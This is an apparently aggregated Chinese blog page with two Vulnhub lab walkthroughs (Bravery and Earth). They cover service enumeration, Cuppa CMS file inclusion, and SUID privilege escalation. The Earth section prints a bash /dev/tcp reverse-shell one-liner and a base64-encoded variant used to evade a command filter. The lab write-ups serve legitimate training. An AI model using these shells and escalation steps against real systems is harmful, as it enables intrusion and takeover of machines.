Vulnhub Bravery靶机 Walkthrough

Posted ZywOo

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了Vulnhub Bravery靶机 Walkthrough相关的知识,希望对你有一定的参考价值。

Bravery

Recon

使用netdiscover对本地网络进行arp扫描。

 ┌──(kali㉿kali)-[~]
└─$ sudo netdiscover -r 192.168.80.0/24
 Currently scanning: Finished!   |   Screen View: Unique Hosts                                                                         
 
 5 Captured ARP Req/Rep packets, from 5 hosts.   Total size: 300                                                                                                
 _____________________________________________________________________________
   IP            At MAC Address     Count     Len  MAC Vendor / Hostname      
 -----------------------------------------------------------------------------
 192.168.80.1    00:50:56:c0:00:08      1      60  VMware, Inc.                                                                                                 
 192.168.80.2    00:50:56:ed:65:ac      1      60  VMware, Inc.                                                                                                 
 192.168.80.131  00:0c:29:5a:0f:b5      1      60  VMware, Inc.                                                                                                 
 192.168.80.133  00:0c:29:b9:af:ac      1      60  VMware, Inc.                                                                                                 
 192.168.80.254  00:50:56:fd:b9:5a      1      60  VMware, Inc.  
┌──(kali㉿kali)-[~]
└─$ sudo nmap -sS -p- -sV 192.168.80.131 
Starting Nmap 7.93 ( https://nmap.org ) at 2023-04-07 00:49 EDT
Nmap scan report for 192.168.80.131
Host is up (0.0010s latency).
Not shown: 65522 closed tcp ports (reset)
PORT      STATE SERVICE     VERSION
22/tcp    open  ssh         OpenSSH 7.4 (protocol 2.0)
53/tcp    open  domain      dnsmasq 2.76
80/tcp    open  http        Apache httpd 2.4.6 ((CentOS) OpenSSL/1.0.2k-fips PHP/5.4.16)
111/tcp   open  rpcbind     2-4 (RPC #100000)
139/tcp   open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
443/tcp   open  ssl/http    Apache httpd 2.4.6 ((CentOS) OpenSSL/1.0.2k-fips PHP/5.4.16)
445/tcp   open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
2049/tcp  open  nfs_acl     3 (RPC #100227)
3306/tcp  open  mysql       MariaDB (unauthorized)
8080/tcp  open  http        nginx 1.12.2
20048/tcp open  mountd      1-3 (RPC #100005)
37985/tcp open  status      1 (RPC #100024)
44626/tcp open  nlockmgr    1-4 (RPC #100021)
MAC Address: 00:0C:29:5A:0F:B5 (VMware)
Service Info: Host: BRAVERY

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 21.52 seconds

发现目标靶机开启了DNS、HTTP、HTTPS和Samba、NFS等一系列的服务。

Process

我们首先发现了NFS这个有趣的服务,我们直接尝试挂载到本地。

┌──(kali㉿kali)-[~/Labs/Bravery]
└─$ sudo mount -t nfs 192.168.80.131:/ nfs

┌──(kali㉿kali)-[~/…/Bravery/nfs/var/nfsshare]
└─$ ls
discovery  enumeration  explore  itinerary  password.txt  qwertyuioplkjhgfdsazxcvbnm  README.txt

其中的内容,大部分没有什么作用,但是我们关注到一个奇怪的文件(此处埋下伏笔)。

┌──(kali㉿kali)-[~/…/Bravery/nfs/var/nfsshare]
└─$ cat qwertyuioplkjhgfdsazxcvbnm 
Sometimes, the answer you seek may be right before your very eyes.

NFS中有效的内容不多,此时将我们的目光放到Samba上,目标为Linux机器,要想枚举目标的Samba信息,我们有个得力的工具enum4linux,工具的详细信息

通过enum4linux工具的输出,我们能够获得Linux主机上的用户和共享文件夹(下为部分内容)。

======================================( Users on 192.168.80.131 )======================================
                                                                                                                                       
index: 0x1 RID: 0x3e8 acb: 0x00000010 Account: david    Name: david     Desc:                                                                                    
index: 0x2 RID: 0x3e9 acb: 0x00000010 Account: rick     Name:   Desc: 

user:[david] rid:[0x3e8]
user:[rick] rid:[0x3e9]

 ================================( Share Enumeration on 192.168.80.131 )================================
        Sharename       Type      Comment
        ---------       ----      -------
        anonymous       Disk      
        secured         Disk      
        IPC$            IPC       IPC Service (Samba Server 4.7.1)

我们获得了用户david和rick,以及共享文件夹anonymous和secured。我们首先通过smbclient工具访问共享文件夹anonymous。

┌──(kali㉿kali)-[~/Labs/Bravery]
└─$ smbclient //192.168.80.131/anonymous -U %     
Try "help" to get a list of possible commands.
smb: \\> dir
  .                                   D        0  Fri Sep 28 09:01:35 2018
  ..                                  D        0  Thu Jun 14 12:30:39 2018
  patrick\'s folder                    D        0  Fri Sep 28 08:38:27 2018
  qiu\'s folder                        D        0  Fri Sep 28 09:27:20 2018
  genevieve\'s folder                  D        0  Fri Sep 28 09:08:31 2018
  david\'s folder                      D        0  Tue Dec 25 21:19:51 2018
  kenny\'s folder                      D        0  Fri Sep 28 08:52:49 2018
  qinyi\'s folder                      D        0  Fri Sep 28 08:45:22 2018
  sara\'s folder                       D        0  Fri Sep 28 09:34:23 2018
  readme.txt                          N      489  Fri Sep 28 09:54:03 2018

  17811456 blocks of size 1024. 12839656 blocks available

我们获得了一部分用户和readme.txt,但这些文件夹并没有实际的作用。readme.txt只告诉我们这个samba共享系统可能即将被替换到Sharepoint。那么我们就尝试访问另一个secured文件夹,此时之前埋下的伏笔就起到了作用,它是david账户的密码。在文件夹中我们发现了三个文件。

┌──(kali㉿kali)-[~/Labs/Bravery/smbd]
└─$ cat david.txt 
I have concerns over how the developers are designing their webpage. The use of "developmentsecretpage" is too long and unwieldy. We should cut short the addresses in our local domain.

1. Reminder to tell Patrick to replace "developmentsecretpage" with "devops".

2. Request the intern to adjust her Favourites to http://<developmentIPandport>/devops/directortestpagev1.php.

david.txt文件也是一个伏笔,不过这个靶机无关。其中最为关键的是genevieve.txt文件。其中有一个url值得我们关注。

┌──(kali㉿kali)-[~/Labs/Bravery/smbd]
└─$ cat genevieve.txt 
Hi! This is Genevieve!

We are still trying to construct our department\'s IT infrastructure; it\'s been proving painful so far.

If you wouldn\'t mind, please do not subject my site (http://192.168.254.155/genevieve) to any load-test as of yet. We\'re trying to establish quite a few things:

a) File-share to our director.
b) Setting up our CMS.
c) Requesting for a HIDS solution to secure our host.

我们尝试访问它。发现是一个类似CMS的测试页。

然后再Internal Use Only中发现了管理员登录的页面。

我们发现是Cuppa CMS,我们首先通过searchsploit查找目标是否存在漏洞。

我们找到了一个本地/远程文件包含的漏洞,接下来尝试进行利用。

通过查看文件中描述的EXPLOIT,我们首先尝试验证漏洞是否存在。

漏洞存在,我们接下来准备上传Shell。通过python开启http服务器,并准备PHP的Reverse Shell,使用nc监听端口。(PHP Reverse Shell不做展开)最后通过curl发送请求触发漏洞,获得Shell。

Privilege Escalation

在上面的过程中我们获得了Shell,但是Shell处于一个低权限的状态,下面通过一种方式提权。

通过查找具有粘滞位权限的命令,我们找到了cp这个命令。

我们通过将passwd文件cp至当前目录,并通过cat构造一个newpasswd文件,并将构造好的用户添加入newpasswd,再通过cp的粘滞位权限将其替换/etc/passwd进行提权。

需要注意的一点,hacker用户的密码需要自行按照当前系统所使用的密码编码生成,比如CentOS与Ubuntu所使用的hash算法不同,则不能相互识别。

提权成功。

vulnhub——Earth靶机

一、概要

攻击机:192.168.60.148
靶机:192.168.60.174
靶机下载地址:https://download.vulnhub.com/theplanets/Earth.ova.torrent

二、主机发现

netdiscover

直接用netdiscover模糊搜索一下主机

可以发现靶机地址为192.168.60.174 

三、信息收集

sudo nmap -sS -A -T4 192.168.60.174

80端口返回HTTP400,向下看发现有DNS解析

DNS:earth.local
DNS:terratest.earth.local

 修改一下hosts文件

sudo vi /etc/hosts
    必须使用root权限,不然无法保存

 再次nmap进行扫描,之前返回HTTP400的页面就没问题了

访问http://earth.local
http://terratest.earth.local
https://earth.local/
三个页面是相同的内容

下面有三行数值

Previous Messages:
37090b59030f11060b0a1b4e0000000000004312170a1b0b0e4107174f1a0b044e0a000202134e0a161d17040359061d43370f15030b10414e340e1c0a0f0b0b061d430e0059220f11124059261ae281ba124e14001c06411a110e00435542495f5e430a0715000306150b0b1c4e4b5242495f5e430c07150a1d4a410216010943e281b54e1c0101160606591b0143121a0b0a1a00094e1f1d010e412d180307050e1c17060f43150159210b144137161d054d41270d4f0710410010010b431507140a1d43001d5903010d064e18010a4307010c1d4e1708031c1c4e02124e1d0a0b13410f0a4f2b02131a11e281b61d43261c18010a43220f1716010d40
3714171e0b0a550a1859101d064b160a191a4b0908140d0e0d441c0d4b1611074318160814114b0a1d06170e1444010b0a0d441c104b150106104b1d011b100e59101d0205591314170e0b4a552a1f59071a16071d44130f041810550a05590555010a0d0c011609590d13430a171d170c0f0044160c1e150055011e100811430a59061417030d1117430910035506051611120b45
2402111b1a0705070a41000a431a000a0e0a0f04104601164d050f070c0f15540d1018000000000c0c06410f0901420e105c0d074d04181a01041c170d4f4c2c0c13000d430e0e1c0a0006410b420d074d55404645031b18040a03074d181104111b410f000a4c41335d1c1d040f4e070d04521201111f1d4d031d090f010e00471c07001647481a0b412b1217151a531b4304001e151b171a4441020e030741054418100c130b1745081c541c0b0949020211040d1b410f090142030153091b4d150153040714110b174c2c0c13000d441b410f13080d12145c0d0708410f1d014101011a050d0a084d540906090507090242150b141c1d08411e010a0d1b120d110d1d040e1a450c0e410f090407130b5601164d00001749411e151c061e454d0011170c0a080d470a1006055a010600124053360e1f1148040906010e130c00090d4e02130b05015a0b104d0800170c0213000d104c1d050000450f01070b47080318445c090308410f010c12171a48021f49080006091a48001d47514c50445601190108011d451817151a104c080a0e5a

 https://terratest.earth.local的页面内容不一样

四、目录扫描

dirb扫描

http://earth.localhttps://earth.localhttp://terratest.earth.local的扫描结果都是一样的

 

https://terratest.earth.local的结果不一样

信息收集

网站下有robots.txt文件

前面的都是后缀,最后一个是文件名

 猜测一下后缀,测出来后缀为txt后缀

Testing secure messaging system notes:
*Using XOR encryption as the algorithm, should be safe as used in RSA.
*Earth has confirmed they have received our sent messages.
*testdata.txt was used to test encryption.
*terra used as username for admin portal.
Todo:
*How do we send our monthly keys to Earth securely? Or should we change keys weekly?
*Need to test different key lengths to protect against bruteforce. How long should the key be?
*Need to improve the interface of the messaging interface and the admin panel, it's currently very basic.

译文:
测试安全邮件系统注意事项:
*使用XOR加密作为算法,应该像RSA中使用的那样安全。
*地球已确认他们已收到我们发送的消息。
*testdata.txt用于测试加密。
*terra用作管理门户的用户名。
待办事项:
*我们如何将每月的密钥安全地发送到地球?还是应该每周更换一次密钥?
*需要测试不同的密钥长度以防止暴力破解。密钥应该多长时间?
*需要改进消息传递界面和管理面板的界面,目前非常基本。

获取信息:
1、密码采用XOR加密算法
2、testdata.txt文件
3、用户名为terra
According to radiometric dating estimation and other evidence, Earth formed over 4.5 billion years ago. Within the first billion years of Earth's history, life appeared in the oceans and began to affect Earth's atmosphere and surface, leading to the proliferation of anaerobic and, later, aerobic organisms. Some geological evidence indicates that life may have arisen as early as 4.1 billion years ago.

译文:
根据辐射测年估计和其他证据,地球形成于45亿年前。在地球历史的前十亿年内,海洋中出现了生命,并开始影响地球的大气层和表面,导致厌氧生物的扩散,后来又出现了有氧生物。一些地质证据表明,生命可能早在41亿年前就出现了。

五、密码破解

XOR解密

根据上面我们可以尝试破解一下密码

结合前面页面显示的密钥可以尝试一下

前面两个密钥的解码都是乱码,只有最后一个可以正常解码

 先把密钥进行一下hex转换为utf8

再配合密文进行XOR解密,编码为utf8

得出结果

earthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimat

一串由earthclimatechangebad4humans循环组成的字符串
明文密码应该就是earthclimatechangebad4humans

 结合前面的用户名,找到之前扫出来的的登录页面尝试一下

 用户登录

用户名:terra
密码:earthclimatechangebad4humans

登陆成功

 这里是一个命令执行的输入框,有命令执行漏洞存在的可能性

查看一下权限为普通用户

六、提权

反弹shell

尝试bash直接反弹shell

bash -c 'exec bash -i &>/dev/tcp/192.168.60.148/8888 <&1'

没有反应,无法执行

应该是对其中的敏感内容进行了过滤

对反弹shell的命令进行一下base64编码试试

(注意这里的命令不一样了,少去了前面的部分)

 

YmFzaCAtaSAmPi9kZXYvdGNwLzE5Mi4xNjguNjAuMTQ4Lzg4ODggPCYxCg==

只输入base64编码数据是无法执行的,要结合解码命令使用
echo YmFzaCAtaSAmPi9kZXYvdGNwLzE5Mi4xNjguNjAuMTQ4Lzg4ODggPCYxCg== | base64 -d | bash

 先使用nc对本地8888端口进行监听

成功反弹shell

依旧是普通用户权限

查看一下靶机中有权限的文件

find / -perm -u=s -type f 2>/dev/null

这里的reset_root根据文件名应该可以用来重置root密码

查看一下这个文件的内容

虽然有乱码,但是可以大概看出来是把root密码更改为了Earth

但是尝试提权的时候,发现失败了

查看返回信息的话,应该就是执行的过程中出了什么差错

利用ltrace调试文件

将文件传回攻击机进行查看

攻击机开启监听,把接收到的文件命名为跟靶机文件相同的文件名

 靶机传回文件

攻击机接收到了

先给文件赋权

ltrace跟踪库函数调用,发现缺少三个文件

SUID提权

在靶机上创建这三个文件再执行试试

touch /dev/shm/kHgTFI5G
touch /dev/shm/Zw7bV9U5
touch /tmp/kcM0Wewe

 显示密码修改成功

su提权试试

提权成功

切换到root目录下拿到flag

以上是关于Vulnhub Bravery靶机 Walkthrough的主要内容,如果未能解决你的问题,请参考以下文章

Vulnhub靶机-doubletrouble

Vulnhub靶机渗透测试实战:入门DC-1靶机完全渗透

Vulnhub靶机系列之BullDog_1

Vulnhub-DC-5靶机实战

Vulnhub-Tomato靶机实战

Vulnhub-DC-6靶机实战(Nmap提权)